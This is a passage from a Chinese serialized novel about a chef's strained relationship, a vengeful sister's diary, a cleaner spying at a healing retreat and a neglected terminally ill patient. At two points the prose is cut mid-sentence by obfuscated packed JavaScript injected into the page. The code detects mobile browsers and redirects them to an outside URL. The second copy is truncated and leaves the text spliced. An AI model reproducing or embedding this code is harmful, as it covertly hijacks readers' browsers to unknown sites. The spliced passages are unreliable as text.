接着是熏山猪肉,肉质紧实不柴,带着松针的清香和海草的咸鲜,口感层次丰富。番茄脆皮咬下去“咔嚓”一声,番茄的酸甜与鲑鱼的鲜嫩、鱼籽的爆浆感交织在一起,瞬间唤醒了味蕾。 最后,她拿起草莓酱瓶,缓缓倒向那对“嘴唇”。草莓啫喱遇到温热的酱汁,慢慢散开,粉色的酱液与沙拉中的食材融合,宛如爱意蔓延。 伍红舀起一勺沙拉,水果的甜、蔬菜的脆、坚果的香,还有那若有似无的果香,在口中炸开,每一口都充满了惊喜。 “太好吃了。”伍红放下勺子,眼底满是惊艳,“这些食材都是本地的、当季的,既健康又美味,完全没有辜负自然的馈赠。而且这摆盘,空灵又简约,像仙境一样。” 她望着林影,语气无比认真,“小林,你知道吗?有些人天生就该做某件事。我天生就该吃遍天下美食,而你,天生就该成为厨师。” 林影静静地听着,嘴角始终挂着温和的微笑。她想起自己从小就喜欢摆弄食材,想起第一次做出满意的菜品时的喜悦,想起无数个在厨房忙碌的日夜。 今天她倒是久违地再次感受到纯粹的创造的意义。 “谢谢您,红姐。”林影轻声说。 伍红摆摆手,拿起纸巾擦了擦嘴角,眼神里带着几分狡黠:“我以后会不定期来抽查的,你可不能懈怠。” “随时欢迎。”林影笑着送她到门口。 看着伍红的车消失在夜色中,林影转身回到店里。窗外的残叶已经徐徐落下,与碗口的枫叶倒影遥遥相对。 她抬手抚过脸颊,指尖还残留着草莓酱的甜香,心里满是难以言喻的幸福。 林影送走伍红后,回到办公室,关上门,进入厕所,掏出验孕棒,犹豫片刻后,她拨通了张晴雨的电话。 “晴雨,我有点事想跟你说。” 林影的声音带着几分不确定,“我可能怀孕了。” 电话那头的张晴雨愣了一下,她和林影的关系比张怀野还要好,有些事情林影不会对张怀野说,但会对张晴雨说,张晴雨知道林影一心扑在自己的小饭馆上,开口便问:“那你自己怎么想的?想生还是不想生?” “我不知道。” 林影揉着眉心,语气迷茫,“如果真的怀孕了,我应该会选择生下来。但如果没有怀孕,张怀野要是要求我备孕,我又不愿意了。” 她叹了口气,“你也知道,他拍vlog,要是备孕肯定又要记录,到时候粉丝天天催更、追问进度,我想想就觉得窒息。而且备孕的过程我光是想想都觉得无法忍受,要调理身体、应付各种检查,我不想把这些都暴露在镜头下,更不想为了满足粉丝和他的期待,勉强自己。” 张晴雨沉默了几秒,一针见血地说:“所以你其实是希望顺其自然,不喜欢被人推着走,也不喜欢把私生活完全暴露在镜头前,对吧?” “对!”林影像是找到了知音,连忙说道,“就是这种感觉。他最近粉丝涨得很猛,不停折腾拍摄,连累我都要配合他做他镜头里的完美女友。” 她的声音里带着几分委屈,“还有,如果我一直无法正常怀孕,你有没有觉得,张怀野好像就占据了某种道德高地?他在vlog里对我越好,粉丝就越觉得我幸福,到时候要是大家知道我不愿意备孕,肯定会骂我不知足。而我自己,也会觉得亏欠他,是我让他无法成为一个父亲。” “林影,你别被这些绑架了。” 张晴雨的语气带着几分无奈,“你要清楚,你不是他vlog里的配角,而是活生生的人。” 林影靠在椅背上,眼神放空:“是啊,我觉得自己又清醒又糊涂,像是网上说的那种半睡半醒的人,我也想满足他,可我也不想苛求自己。” “无论你做什么决定我都站在你这边。” 张晴雨安慰道,“但最终的决定还是需要你自己做。” 挂了电话,林影深吸一口气,按照说明操作,心里既紧张又忐忑。 等待结果的那几分钟,仿佛过了一个世纪。 当看到验孕棒上清晰的一条红线时,林影先是愣了愣,随即长长地松了一口气,紧绷的身体瞬间放松下来,眼眶甚至有些发热。 她看着镜子里的自己,脸色依旧苍白,却露出了久违的轻松笑容。这一刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119739|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她无比清晰地意识到,自己其实并不想要怀孕, 而这个结果,让她摆脱了那种两难的困境,也让她看清了自己真实的想法——她想要的是继续全力以赴,心无旁骛地做菜,而不是瞻前顾后,牺牲自己照顾别人的感受。 / 张怀野回到家时,玄关的感应灯缓缓亮起,沙发上空荡荡的,可林影平时一般都躺在那里,今天去哪儿了?他有些疑惑。 “我回来了。”张怀野的声音带着几分不易察觉的委屈,上午的时候林影就那么决绝地抛弃了自己,都没有来哄自己。 厨房里有声音传来,张怀野转身望去,呼吸猛地一滞。 林影穿着一件极简的婚纱,白色的蕾丝贴合着曲线,裙摆拖在地板上,随着她的动作轻轻晃动。婚纱的领口下,露出林影纤细的锁骨,衬得她肌肤胜雪,平日里那双专注于食材的手,此刻自然垂在身侧,指尖带着淡淡的烟火气。 “我新买了一个能穿下去的婚纱,只穿给你一个人看。”林影的声音很轻,带着几分柔软的妥协,“我做了你喜欢吃的菜,你想吃的糖醋排骨,还有我新发明的菜式松茸蒸蛋。” 婚纱的裙摆扫过厨房的地板,像一团洁白的云朵。 张怀野望着她的背影,心里的郁结瞬间消散了大半。 林影处理排骨时动作娴熟,刀锋起落间,带着平日烹饪时的专注与从容。糖醋汁的酸甜香气渐渐弥漫开来,混合着蔬菜的清新,填满了整个屋子。 “别站在这儿,油烟大。”林影头也没抬,语气里带着自然的关切。 “没事,我想看着你。”张怀野的声音柔得能滴出水来。 林影手上的动作顿了顿,抬起头看他,眼底带着浅浅的笑意:“我知道你是在乎我。但日子是我们两个人过的,没必要活给别人看。你喜欢看我穿婚纱的话,以后我就在家里穿给你看。” 晚餐时,张怀野吃得格外香,他不停地给林影夹菜,眼神里满是宠溺:“还是你做的最好吃。” 林影笑着应着,手里却拿起了手机,屏幕上是与伍红的聊天框。 伍红还在兴奋地探讨「冬日之爱」套餐的细节,发来一大段文字:“小林,那个草莓啫喱太绝了!‘向世界散播爱’的创意太浪漫了,而且食材都是本地的,健康又可持续,下次我要带朋友来尝!” 林影的眼睛瞬间亮了起来,指尖飞快地回复:“苏姐,我打算调整一下鲑鱼的做法,用低温慢煮保留更多汁水,番茄脆皮可以再薄一点,口感更脆。”她一边回复,一边回想伍红提出的建议,脑海里已经开始构思新的改良方案,嘴角不自觉地扬起,神情专注又热烈。 张怀野看着她低头玩手机时眼里的光,那是一种他从未在自己身上看到过的、纯粹的热爱与兴奋。他心里莫名地有些不是滋味,轻轻咳嗽了一声:“还在聊菜品?” “嗯,红姐提了些很好的建议。”林影抬头看了他一眼,语气里带着抑制不住的喜悦,“她觉得沙拉的食材可以再增加几种本地的野果,我觉得可行,明天去山里找找。” 张怀野“哦”了一声,没再说话,只是默默地给她夹了一块排骨。 他不懂那些菜品的创意,翻来覆去不就是那些东西,也不懂她为什么能为了一道菜如此投入,他只知道,他想让她的注意力更多地放在自己身上。 临睡前,林影忽然说:“早上那个陪我们拍照的小妹妹,我总觉得有些眼熟。” “是吗?在哪里见过?”张怀野顺着林影的话继续往下问。 林影回想起那阵带着血色的回忆,又摇摇头,说:“算了,不记得了。” 夜深了,林影已经睡着,呼吸均匀,脸颊带着淡淡的红晕。 张怀野躺在床上,忽然收到丈母娘的短信:【上次说的那个疗愈的课程,记得下周一带林影去上。】 很多时候,王子英不方便对林影做的事情,张怀野都会替她去做,这次也不例外。 【没问题,包在我身上。】张怀野一口答应下来。 撂下手机,张怀野嘴角勾起一抹志在必得的笑。 他觉得,接下来只要哄好丈母娘,让丈母娘站在自己这边,林影就会慢慢依赖他,她们的关系自然会越来越牢固。 黑暗中,两人并肩躺着,呼吸交织,心却隔着遥远的距离。 林影的梦里,是松针上的薄霜,是鲑鱼的银鳞,是草莓啫喱融化时的浪漫;而张怀野的思绪里,是算计,是占有,是他自以为是的“牢固”。 同一张床,两个梦境,暗潮汹涌,无人知晓。 8. 妹妹日记 妹妹日记: 姐姐,最近我的计划进展得很顺利。 当年的那三个人我已经接触到了其中的两个人,甚至知道她们近况如何。 也许上天都在眷顾我,让我能够心想事成。 不过我最想要的还是你能够活下来,不需要有什么大的成就,就是作为一个普通人平凡地活下来。 人类现在已经发展到可以离开地球进入外太空,怎么却始终无法跨越生死呢?我不理解。 你学习那么好,你能告诉我为什么吗? 而那些比你更幸运的人,她们活下来了,她们是幸存者,但却随便搞砸自己的人生,对有钱人卑躬屈膝,或者随波逐流的跟一只水蛭生活在一起,那条水蛭为了网络流量还假装好心送我回家,真恶心。 我甚至不知道她是继续被蒙在鼓里痛苦,还是知道真相痛苦。 她们根本不知道光是在日光下呼吸,都已经是你再也无法做到的事情。 以前我觉得如果她们生活幸福就可以,我可以当作是她们正在代替你幸福地活在这个世界上。 我可以悄悄地、远远地旁观她们的幸福,幻想你就是这样活下来,所以哪怕你不在我身边我也可以接受。 但现在看来,她们根本就不配活在这个世界上。 所以死的应该是她们,而不是你! 不过你放心,我暂时还不会对她们做什么,毕竟,还剩下最后一个人。 等我找到最后一个人,也许我会知道应该怎么办。 / 江月躺在刚擦拭干净的木地板上,后背隔着薄薄的一层衣服,感受着板材的微凉,空气里有新装修残留的淡淡甲醛味。 身旁的赵荷花几乎是沾地就睡,粗重的鼾声一阵又一阵。 而隔壁房间的声音则截然相反,疗愈导师的语调温润平缓,像潺潺流水般透过未完全密封的门缝渗进来。 江月原本蜷缩着身子,心里还盘算着这新房间的甲醛浓度,要不要找个借口开窗透透气。但转念一想,自己命都不想要了,吸点甲醛有什么要紧。 隔壁的导师还在继续说着,声音温柔得近乎悲悯:“先试着把注意力放在呼吸上,慢慢吸气,感受空气从鼻腔进入,顺着喉咙、气管,一直到胸腔……再缓缓呼气,把身体里所有的悲伤和痛苦都带出去。” 江月的耳朵捕捉着这些话语,心里却毫无波澜,从她个人的生命经验来讲,如果悲伤和痛苦会随呼吸而逐渐消散的话,她就不会呆在这里了。 “你说这群城里人是不是吃饱了没事干,一边哭一边给别人大把的钞票。”赵荷花突然开口,声音带着刚睡醒的沙哑,打破了短暂的宁静 江月被这突如其来的话吓了一跳,猛地侧过身,看向身旁的人。只见赵荷花眼睛还没完全睁开,眉头皱着,脸上带着几分不耐。“荷花姐,你不是在打鼾吗?怎么突然就醒了?” 赵荷花揉了揉眼睛,慢悠悠地坐起身,双手在乱糟糟的头发里抓挠了几下,露出额前被压得有些变形的刘海。“我这是习惯了,一边打鼾一边找睡意,本来都快着了,结果隔壁那什么导师的声音跟猫挠似的,断断续续的,吵得我脑子嗡嗡响。” 江月哦了一声,也撑着胳膊坐起来,膝盖曲起,双手环抱着小腿。 为了打探消息,她假意对这个山海疗愈心灵谷很关心:“这里可真赚钱,我刚才打扫的时候,瞥见前台的宣传册,一套课程都要好几万呢,比我们干半年活挣得都多。” 赵荷花闻言,立刻来了精神,凑近江月一些,压低声音八卦道:“那可不!这种地方,看着是搞什么心灵疗愈,实则就是赚傻子的钱。正常人谁会认为只需要上一些什么课,人生就能豁然开朗,开心得不得了啊?” 她拍了拍江月的肩膀,语气带着点过来人的告诫,“你也别瞎琢磨了,咱们就是干保洁的命,挣点踏实钱就行。我跟你说,搞完这次卫生,我是再也不打算来了。” 江月眨了眨眼,脸上露出似懂非懂的神情,小声问:“为什么?我觉得这里还挺舒服的诶,而且活也不算特别累。”她心里暗暗揣测,难道是赵荷花知道什么内幕,这里有什么见不得人的勾当? 赵荷花却神秘兮兮地笑了笑,伸手指了指窗外不远处的山头。那山头光秃秃的,只有几丛稀疏的灌木,在周围郁郁葱葱的山林映衬下,显得格外突兀。 “你看那山头,光秃秃的跟个和尚头似的,连点遮挡都没有。按老辈人的说法,这地方风水不好,煞气重,聚不住财也留不住福,将来肯定会出事的!”她说得煞有介事,眼神里带着几分笃定,仿佛已经预见了未来的变故。 江月顺着她指的方向看去,愣了愣,还以为是有什么隐情呢,结果就这?但她随即还是发出一声短促的惊叹:“哇,还有这种说法呢!我以前都没听说过。” 赵荷花没再继续这个话题,只是站起身,拍了拍屁股上的灰尘,催促道:“咱们还是别磨蹭了,赶紧把剩下的几个房间打扫完,早点走。这天眼看着就要黑了,公车又要等很久。” 江月点点头,也跟着站起身,拿起墙角的抹布,熟练地清理着地板缝隙里的灰尘,动作又快又稳。 赵荷花则负责擦拭门窗,两人分工明确,配合得十分默契,没一会儿就把剩下的几个房间打扫干净了。 赵荷花又仔细检查了一遍,才拎起墙角的工具包,对江月说:“行了,搞定了,咱们走吧。” 江月跟着赵荷花往外走,路过前厅的时候,无意间瞥见宁歌和顾家大小姐又来了这边。 这么冷的天气,宁歌穿着一身火红色的连衣裙,裙摆很长,拖在地上,雪白的小腿在冷风中若隐若现,身上戴满了珠宝首饰——脖子上是一条硕大的翡翠吊坠,手腕上戴着两只手镯,一只金的一只玉的,手指上还套着好几个戒指,阳光一照,金光闪闪的,几乎要晃花人的眼睛。 顾家大小姐则完全相反,穿着一身素色的运动服,头上戴着鸭舌帽,脸上架着一副宽大的墨镜,嘴巴和鼻子被口罩遮得严严实实,只露出一双眼睛,让人看不清容貌。 她推搡着宁歌,大声道:“上次来他居然逃跑了,这次我肯定要抓到他,这个邓博问,耍我呢!你记得哦,不要露馅,我要耍一耍他!” 宁歌被她推得一个踉跄,江月扶了她一把,等看清江月的脸,宁歌的脸色忽然大便,想要张嘴问些什么,却被顾思韫拉走:“快点啊,等下这个邓博问又跑了!” 江月只是朝宁歌点点头,就继续往前走,脚步没有丝毫停顿。 赵荷花跟着江月往外走,嘴里却还在絮絮叨叨地念叨着:“你说她们俩是不是有什么猫腻?一个穿得跟开珠宝展似的,一个藏得跟通缉犯似的,这里面肯定有事……” 江月听着她的碎碎念,脚步却不由得加快了些,也没搭话。 公家车摇摇晃晃地穿行在山间公路上,窗外的绿树飞快向后倒退,车厢里弥漫着淡淡的汽油味和赵荷花身上廉价洗衣粉的清香。 江月刚把装工具的帆布包往脚边挪了挪,就听见身旁的赵荷花突然跟江月说:“你这小丫头,上次骗我呢吧?” 江月心里咯噔一下,脸上却努力挤出懵懂的笑:“上次我说什么了?” “还装!”赵荷花往椅背上一靠,手指点了点江月的胳膊,“你上次下车那里的那个大型超市,说是晚上八点之后打折,我昨天特意绕路去看了,人家店员说从来没这规矩!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119740|195957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江月的脸颊微微发烫,眼神飘向窗外掠过的路牌,声音低了几分,带着点委屈:“不可能呀……也许是最近才不打折的?我之前去买的时候,晚上八点以后确实打五折啊,我买过好几次呢。” 她一边说一边在心里飞快地圆谎,其实她根本没在那家超市买过菜,那天只是为了提前下车,她随口那么一说,没想到赵荷花这么较真,还真的去了那家超市。 赵荷花盯着她看了几秒,江月能感觉到那道视线带着点审视,却并不让人反感,反而像是长辈对晚辈的好奇。 她正心里发慌,赵荷花却话锋一转,语气缓和了些:“还有啊,上次我去你到小区搞卫生,里面的住户说都没见过你姐和你妈,只见过你。” 这话像一根细针,轻轻刺破了江月伪装的平静。她猛地抬起头,眼神里闪过一丝慌乱,随即又强压下去,扯出一个勉强的笑容:“荷花姐,没骗你。年尾了我妈身体不好,总咳嗽,我姐刚好提前放寒假,就带着她回老家休养了。”她说得尽量自然,甚至还加了点细节,仿佛事情真的是这样。 赵荷花“哦”了一声,眼神里带着点了然,却没再追问,反而好奇地往前凑了凑:“你姐是做什么工作的呀?还能提前放寒假,听着挺清闲。” 江月的心脏猛地一缩,姐姐的身影在脑海里一闪而过,那双曾经温柔的眼睛正盯着自己。 她抿了抿嘴唇,斟酌了半晌才开口,声音带着点不易察觉的颤抖:“她是……是大学里的教授,教天文的。学校课程结束得早,就提前放寒假了,正好能陪我妈回老家待一阵子。”她说完,飞快地垂下眼帘,不敢去看赵荷花的眼睛,生怕自己的谎言被看穿。 这个谎言着实不太高明,稍微仔细打听一下就能拆穿。 赵荷花没再继续追问下去,只是伸出手,轻轻拍了拍江月的肩膀,动作算不上温柔,却带着一种实在的暖意。“江月,我活了五十多年,什么人没见过,什么事儿没遇过?我知道你心里藏着不少秘密,不肯跟人说。” 江月的肩膀僵了一下,她抬起头,撞进赵荷花那双布满细纹却格外明亮的眼睛里,那里面没有探究,只有纯粹的善意。 “你别怕,”赵荷花的声音放得很轻,“要是真遇上什么过不去的坎,别一个人扛着,跟我说。我没什么大本事,帮不上什么大忙,但听你说说心里话,给你做顿热乎饭还是能行的。” 她顿了顿,脸上露出一抹释然的笑容,眼角的皱纹挤在一起,却显得格外真诚,“我年轻的时候,也觉得天塌下来了,活不下去了,甚至想过一了百了。可后来呢?还不是一步步熬过来了。你记住,只要活着,什么事儿都有解决的办法,什么苦都有熬出头的一天。” 江月看着她,嘴唇动了动,想说些什么,却最终只是点了点头,挤出一个浅浅的笑容:“嗯,我知道了,荷花姐,谢谢你。”她的声音很轻,带着点敷衍的意味,心里却翻涌着复杂的情绪。 活着?她早就不觉得活下去就能遇到什么希望了,如果不是为了姐姐,她恐怕早就已经不在这个世界上了。 那些压在她心头的痛苦,那些日夜折磨着她的愧疚和绝望,哪里是活着就能解决的? 她的眼神黯淡了下去,手指无意识地摩挲着裤腿上的布料。 赵荷花见她不怎么说话,也没再多问,只是拍了拍她的肩膀,然后靠在椅背上,没多久就发出了轻微的鼾声。 江月侧头看着她熟睡的脸,脸上还带着未褪尽的笑容,心里忽然涌起一丝莫名的情绪,说不清是羡慕,还是别的什么。 她轻轻叹了口气,将目光重新投向窗外,夜色渐浓,公路两旁的路灯次第亮起,昏黄的光线透过车窗,在她脸上投下明明暗暗的光影。 9. 第三章(1) 冬日清晨的阳光斜斜淌进临终医院的病房,落在雪白的床单上,空气中浮动的尘埃都泛着暖金。 满是消毒水味道的双人间里,混着一丝淡淡的桂花香气,这是江夏在来医院的路上,看到环卫工人正在为预防即将到来的冰冻雨雪天气修剪树枝,征得对方同意后,她便捡了几支桂花带到了医院。 电动床缓慢升起,因为脑梗塞长期卧床的叶晓霞上半身终于能够坐起,她半倚在床头,枯瘦的手搭在被子上。 她头发花白,眼窝深陷,浑浊的眼球却带着几分孩童般的光亮,正望着床边忙碌的身影,嘴角噙着一抹久违的笑意。 病床边上忙碌的护工确实年轻,看起来不过二十出头的模样,穿着干净的护工,袖口挽到小臂,露出纤细却结实的手腕。手腕上戴着一串简单的红绳手链,随着动作轻轻晃动。 她无论做什么都眉眼弯弯的,睫毛又长又密,笑起来时眼角会漾出两个小小的梨涡,眼神干净,没有丝毫世故的杂质。 此刻的她弯着腰,将双手掌心搓热后,轻轻覆在叶晓霞僵硬的右腿上,指尖带着恰到好处的力道,顺着肌肉纹理缓缓揉捏。 “奶奶,您忍忍,这处肌肉有点紧,多按按能舒服些。”年轻护工的声音清甜,动作轻柔而认真,生怕弄疼了床上的老人。 老奶奶轻轻“嗯”了一声,眼神落在护工认真的侧脸上,带着几分打量,问她:“你是新来的吗?我怎么以前没见过你?赵荷花去哪儿了呀?” 江月手上的动作没停,乖巧回道:“她接重了单子,今天还有别的地方的护工,所以请我来这里工作。”她似乎是有点担心叶晓霞不满意这样的安排,于是又慌忙解释道:“我母亲之前也是卧病在床,都是我来照顾,我很有经验的,最近她跟我姐姐回乡下了,我才有时间出来工作的。” 叶晓霞听得微微点头,眼神里多了几分怜惜,轻声叹道:“真是个孝顺的好孩子,不容易啊。”她的声音里带着真切的心疼,想起自己那些忙于工作、无暇照料她的儿女,心里虽有失落,却也理解他们的难处。 她说:“我叫叶晓霞,你叫我老叶就行,你叫什么呀?” 江月答:“好啊,老叶,你叫我小月好了,月亮的月。”说着她举起叶晓霞的右腿,往对方脑袋的方向压下去。 叶晓霞尝试着动了动腿,却只换来一阵无力的酸胀,不由得轻轻叹了口气,声音沙哑得像是被砂纸磨过:“人老了,不中用了,这腿啊,跟灌了铅似的,怕是没几天好日子过咯。” 江月手上的动作没停,脸上依旧挂着那抹干净的笑容:“老叶,你可千万别这么说,一定要活久一点,现在科技可发达了,以后说不定有什么高科技护工机器人出现,能给你护理,还能讲笑话给你听,一天24小时都可以陪在你身边,你要是没机会看见的话,那真是可惜了。” 叶晓霞被她认真的模样逗乐了,枯瘦的手抬了抬,想要去碰护工的胳膊,却只抬到一半就没了力气,“那……那能不能定制一个像你这样的机器人?” 叶晓霞愣了一下,随即轻笑出声,眉眼弯得更厉害了,连带着按摩的动作都轻快了几分:“那可不行哦老叶,定制成我这样,是要给我版权费的呢!” “你呀,真是个小财迷!”老叶晓霞被她逗得哈哈大笑,笑声沙哑却爽朗。 笑了好一会儿,叶晓霞才渐渐平复下来,她的眼神落在江月年轻的脸上,带着几分怀念:“小月,你多大了?看起来跟我的孙辈们差不多大呢。” 江月回:“马上大学毕业了,二十一啦。” 叶晓霞顿了顿,眼神里带着几分困惑和期许,“我这老婆子跟不上时代,不知道现在年轻人之间都流行些什么?等她们来看我,我跟他们聊点什么,才能让他们愿意多待一会儿呀?”她的语气带着几分忐忑,想起之前几次孙辈们的探访,只余下相对无言的尴尬回忆。 江月闻言,停下了手上的动作,认真地想了想,然后笑着说道:“其实年轻人不用您特意找话题的,您只要别动不动就教训他们,等他们来的时候,买点他们喜欢吃的零食,比如薯片、巧克力什么的,听他们说说自己的事就好啦。”她顿了顿,又补充道,“有时候您强行加入他们的话题,反而会让他们觉得有点打扰呢。” 江月声音轻轻的:“其实,也没有孩子不想亲近长辈的,家人之间,怎么会有嫌隙呢?” 叶晓霞静静地听着,若有所思地点了点头,眼神里的困惑渐渐散去,带着期待的语气道:“有道理,也没有长辈不爱孩子的。” 隔壁床的欢声笑语像细碎的针,密密麻麻扎在余夏心上。 她翻了个身,弄出点动静来,隔壁病床的声音马上小了许多。 余夏听到叶晓霞压低了声音,说:“隔壁的小妹妹前不久刚住进来,安静得很,我俩小声点。” 江月用气声回答:“好嘞。” 余夏侧躺在病床上,任由日日不变的暖阳晒在自己的脸上,单薄的肩膀微微蜷缩着,像一只受伤后独自舔舐伤口的兽。 化疗后的头发稀疏枯黄,贴在苍白得近乎透明的头皮上,露出清晰的青色血管。 她的脸颊深陷,原本圆润的下颌线变得锋利硌人,眼窝发黑,长长的睫毛失去了往日的光泽,垂在眼睑下,遮住了眼底翻涌的复杂情绪。 她身上穿着宽大的病号服,领口空荡荡地晃着,衬得脖颈愈发纤细,仿佛轻轻一折就会断裂。 今天的太阳依旧很暖和,但余夏却觉得浑身发冷,指尖冰凉得像浸在冰水里。 她能清晰地听到隔壁叶晓霞沙哑却爽朗的笑声,还有年轻护工清甜的回应,那些声音越热闹,就越衬得她这边的角落冷清得可怕。 她的心里像堵着一团湿冷的棉花,闷得发慌,比腹部传来的疼痛更让人难以忍受。 她想起自己的母亲闻溪,想起姐姐余知遇,嘴角勾起一抹极淡的、带着嘲讽的弧度。 哪里有什么“没有父母不爱孩子”,哪里有什么“没有孩子不想亲近父母”,对她而言,这些不过是旁人世界里的童话。 记忆像潮水般涌来,小时候的画面清晰得仿佛就发生在昨天。 父亲是煤矿场的工人,因为答应了给余夏买想要的玩偶,在去超市的路上出了车祸,自那之后,母亲就一直将父亲去世的原因怪罪在余夏的身上。 母亲总是把最大的梨子塞给姐姐,把最大的那块肉舀进姐姐碗里,而她只能分到小小的一块,或者看着姐姐吃完后剩下的空碗。 新衣服永远是姐姐先穿,粉嫩嫩的连衣裙、带着花边的外套,姐姐穿腻了、穿小了,才会轮到她。 她还记得自己第一次穿上姐姐剩下的碎花裙,裙摆已经短到了膝盖以上,袖口也磨起了毛边,她却宝贝得不行,偷偷穿了一整天,结果被母亲看到,皱着眉说:“家里没钱,要节约,姐姐穿剩下的能穿就别挑剔。”可她分明看到,母亲后来又给姐姐买了件崭新的品牌牛仔外套。 姐姐余知遇从小就霸道,玩具、书本、甚至母亲织的围巾,都不许她碰。 她常常趴在门缝里,看着姐姐抱着洋娃娃笑得开心,看着姐姐穿着新裙子在镜子前转圈圈,心里满是羡慕,却连靠近的勇气都没有。她觉得自己像个闯入者,姐姐和母亲才是真正的一家人,而她,不过是个多余的外人。 长大后,家里换了大点的房子,姐姐理所当然地住进了宽敞明亮的主卧,有独立的阳台和衣柜,而她只能和母亲挤在狭小的次卧,睡在吱呀作响的上下床的上铺。 每天晚上,她都能听到母亲在客厅和姐姐低声说笑,那种温馨的氛围,她从未真正融入过。 从那时起,拥有一间完全属于自己的房子,就成了余夏最大的执念。里面要摆满只属于自己的东西,不用再穿别人剩下的衣服,不用再看别人的脸色,不用再觉得自己是多余的。 为了这个目标,她拼了命地工作,没日没夜地加班,三餐不定,饿了就随便 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更让她心寒的,是家人的态度。姐姐余知遇原本有个谈婚论嫁的男友,得知她患了重病,怕她成为累赘,果断提出了分手。 那天,她躺在病床上,隐约听到病房外姐姐和母亲的对话。 “妈,你说我怎么这么命苦?我都要结婚了,她偏偏这时候生病,搅得我的婚事都黄了!”余知遇的声音带着浓浓的抱怨,尖锐又刺耳。 “知遇,别这么说你妹妹。”闻溪的声音听起来有些疲惫,却没有多少心疼。 “本来就是嘛!”余知遇的声音拔高了几分,“反正她也没几天了,你说她那房子……” “小声点!”闻溪打断了她,停顿了几秒,声音压低了些,却清晰地传到余夏耳朵里,“我打算找个律师问问,她那房子,我能不能继承下来。毕竟她也没结婚,没孩子,总不能便宜了外人。” 余夏躺在病床上,浑身的血液仿佛瞬间凝固了。她闭上眼,滚烫的泪水终于忍不住从眼角滑落,顺着脸颊滴进枕头里,晕开一小片深色的水渍。 原来,在母亲心里,她的生死不重要,她的房子才是最值得关注的东西。 从那以后,余夏就开始为自己打算,她拒绝母亲和姐姐说留在家里更方便照顾她的说辞,将自己好不容易买来的新房再卖掉,用自己卖房的钱,住进了临终医院。 至少在医院,钱的作用更大,自己能得到最后的体面的照顾,而不是在家里被自己的亲人算计着什么时候去世,能分到多少财产。 也许是知道妹妹心里还有着介意,姐姐余知遇就很少来医院探望她,偶尔来一次,也是匆匆忙忙,坐在床边玩着手机,很少跟她说话,脸上带着明显的不耐烦,仿佛多待一秒都是煎熬。 她穿着光鲜亮丽的连衣裙,妆容精致,身上喷着淡淡的香水,与病房里消毒水的味道格格不入,也与她这副病入膏肓的模样形成了刺眼的对比。 而母亲闻溪,每周会来两次。每次来,都会带来一个保温桶,里面是简单的粥或者汤。 闻溪今年六十多岁了,头发上添了不少白发,眼角的皱纹也深了,最近她看余夏的眼神里,居然多了往日里没有的温情。 她会坐在床边,一边给余夏喂粥,一边絮絮叨叨地说姐姐最近的近况,说姐姐工作顺利,说姐姐又交了新的朋友,语气里满是骄傲。喂完粥,她会收拾好东西,坐一会儿就走。 此刻,隔壁床的笑声又传了过来,温暖而真切。余夏缓缓睁开眼,望着天花板上惨白的灯光,眼底一片荒芜。 她轻轻吸了口气,胸口传来一阵闷痛,伴随着喉咙里的腥甜。 她想,或许从一开始,她就不该奢望什么亲情,不该执着于那些不属于自己的温暖。 只是,心里的不甘与委屈,像藤蔓一样疯狂生长,缠绕着她,让她在这温暖的病房里,也如堕冰窟,连呼吸都觉得沉重。 10. 第三章(2) 余夏躺在病床上,枯瘦的手腕搭在被子边缘,皮肤薄得能看见青色的血管像蛛网般蔓延。 护士刚刚过来打完止痛,折腾她许久的疼痛才终于慢慢止息下去,她的眼睛陷在眼窝里,浑浊的瞳仁里蒙着一层水汽,却在闻溪推门进来的瞬间,勉强亮了亮。 闻溪的脚步声依旧轻快,与这满是消毒水味的病房格格不入,她穿着一件米白色风衣,领口熨得笔挺,余夏似乎在余知遇的身上也见到过。她的手里还拎着一个印着碎花图案的保温壶,壶身擦得锃亮。 余夏仔细看了一下,她似乎还化妆了,见到余夏时心情似乎很好,眼角的细纹在笑的时候会悄悄浮现。 走进病房时,闻溪下意识地皱了皱眉,似乎不太习惯这里的气味,脚步停在离病床一米远的地方,才将保温壶放在床头柜上。 “还是你以前最喜欢喝的皮蛋瘦弱粥,你现在也只能吃这个。”闻溪的声音温和,却没什么温度,她打开保温壶,氤氲的热气袅袅升起,带着淡淡的米香,却驱散不了病房里的寒凉。她用勺子舀了一勺,吹了吹,递到余夏嘴边。 余夏抿了抿干裂的嘴唇,躲开了勺子。她的声音微弱得像蚊子叫,“那是以前我考得不错的时候你才会煮给我吃的,我为了讨好你才说喜欢吃的。” 闻溪没听清,愣了一下,问:“你说什么?” 余夏的声音大了一些,道:“我想回家住。” 闻溪舀粥的动作顿了顿,脸上的笑容淡了下去。她将勺子放回保温壶里,盖子轻轻扣上,发出“咔哒”一声轻响,在寂静的病房里格外清晰。 “回家?”她重复了一遍,语气里带着为难,眼神却不自觉地飘向窗外,像是在盘算着什么,“不行啊,我正准备卖房子呢。” 余夏的呼吸微微一滞,浑浊的眼睛里闪过一丝错愕。 她艰难地抬起手,指向窗外的方向,声音里带着不易察觉的颤抖:“卖……卖掉你的房子?” 那个房子是用父亲的工伤赔偿款买来的,是一家人住了很久的房子了,怎么现在突然就说要卖掉? 闻溪避开了余夏的目光,伸手理了理风衣的下摆,语气轻描淡写,“知遇要在婚前买一套房,楼盘都看好了,定金都交了,差着一大笔钱呢。” 